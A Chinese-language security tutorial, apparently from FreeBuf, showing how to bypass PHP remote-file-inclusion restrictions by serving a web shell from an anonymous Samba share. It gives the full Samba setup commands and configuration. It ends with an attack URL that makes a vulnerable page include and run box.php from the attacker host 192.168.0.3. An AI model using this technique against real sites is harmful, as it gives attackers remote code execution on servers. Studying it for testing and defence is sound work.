如何使用SMB共享绕过PHP远程文件包含限制进行安全测试
2019-07-24 14:00:41 Author: www.freebuf.com(查看原文) 阅读量:127 收藏

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

0.jpg

概述

这篇文章中,我们将演示如何利用PHP应用程序中的远程文件包含(RFI)漏洞来实现“文件包含攻击”。在这种技术的帮助下,即使目标应用的PHP环境不支持从远程HTTP/FTP URL获取文件,我们也能够绕过这种远程URL包含限制,并执行RFI攻击。

PHP和SMB共享文件访问

在PHP配置文件中,“allow_url_include”这个参数选项默认会被设置为“Off”,这个配置可以让PHP应用禁止加载远程HTTP或FTP URL,并以此来防止远程文件包含攻击。但是,即使”allow_url_include”和”allow_url_fopen”被设置为了“Off”,PHP仍然不会屏蔽SMB URL加载内容。在这种情况下,攻击者就可以利用PHP的这种行为来从SMB共享中远程加载托管的PHP Web Shell。

攻击场景

当存在漏洞的PHP应用程序代码尝试从攻击者控制的SMB共享加载PHP Web Shell时,SMB共享将允许文件访问请求。攻击者需要配置SMB服务器,并开启匿名浏览访问功能。因此,当存在漏洞的应用程序尝试从SMB共享访问PHP Web Shell时,SMB服务器不会要求输入任何凭证,PHP Web Shell代码将会直接传递到存在漏洞的PHP应用程序中。

首先,我们需要重新配置PHP环境,并在php.ini文件中禁用”allow_url_fopen”和”allow_url_include”。接下来,开启SMB服务器的匿名读取访问功能。配置好SMB共享之后,我们就可以开始测试了。

PHP环境设置

目标设备中运行了存在漏洞的PHP应用程序,并且已经将”allow_url_fopen”和”allow_url_include”设置成了”Off”,下图显示的是当前PHP应用程序的配置信息,PHP版本为5.5.11:

1.png

在进行下一步之前,我们需要确保在尝试通过HTTP访问Web Shell之前,PHP代码不允许远程文件包含操作。

2.png

此时,当我们尝试从远程主机获取PHP Web Shell时,应用程序应该会抛出一个错误,并禁止RFI操作。

配置SAMBA服务器并启用匿名读取访问(Linux设备)

使用下列命令安装SAMBA服务器:

apt-get install samba

创建一个SMB共享目录(/var/www/html/pub/):

mkdir /var/www/html/pub/

3.png

对新创建的SMB共享目录进行权限配置:

chmod 0555 /var/www/html/pub/

chown -R nobody:nogroup /var/www/html/pub/

4.png

运行下列代码,移除SAMBA服务器配置文件中的默认内容:

echo > /etc/samba/smb.conf

将下列内容写入’/etc/samba/smb.conf’文件中:

[global]

workgroup= WORKGROUP

serverstring = Samba Server %v

netbiosname = indishell-lab

security= user

mapto guest = bad user

nameresolve order = bcast host

dnsproxy = no

bindinterfaces only = yes

[ica]

path= /var/www/html/pub

writable= no

guestok = yes

guestonly = yes

readonly = yes

directorymode = 0555

forceuser = nobody

现在,重启SAMBA服务器让配置文件‘/etc/samba/smb.conf’中的新配置生效:

service smbd restart

当SAMBA服务器成功重启后,会尝试访问SMB共享目录,确保SAMBA服务器不会要求提供任何账户凭证。在我的测试环境中,SAMBA服务器IP为192.168.0.3。我需要在Windows资源管理器中访问SMB共享目录:

\\192.168.0.3\

5.png

在SMB共享目录中托管PHP Web Shell

现在,SMB共享可以直接访问了,并且创建了“ica”这个目录。我们的PHP Web Shell托管在主机目录’/var/www/html/pub’中,也就是SMB共享目录“ica”:

6.png

接下来,在Windows资源管理器中访问SMB共享目录“ica”:

\\192.168.0.3\ica\

我们可以在SMB共享目录中看到PHP Shell,我这里命名的是box.php:

7.png

攻击文件包含参数

接下来,我们可以使用PHP Shell的SMB链接,并使用存在漏洞的PHP代码来浏览Shell内容了:

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php

非常好,存在漏洞的PHP代码成功从远程SMB共享目录中获取到了的PHP Web Shell,并在应用程序服务器上执行了代码。此时,我们已经成功绕过了目标主机的远程文件包含限制。

8.png

*参考来源:mannulinux,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


文章来源: https://www.freebuf.com/articles/network/208109.html
如有侵权请联系:admin#unsafe.sh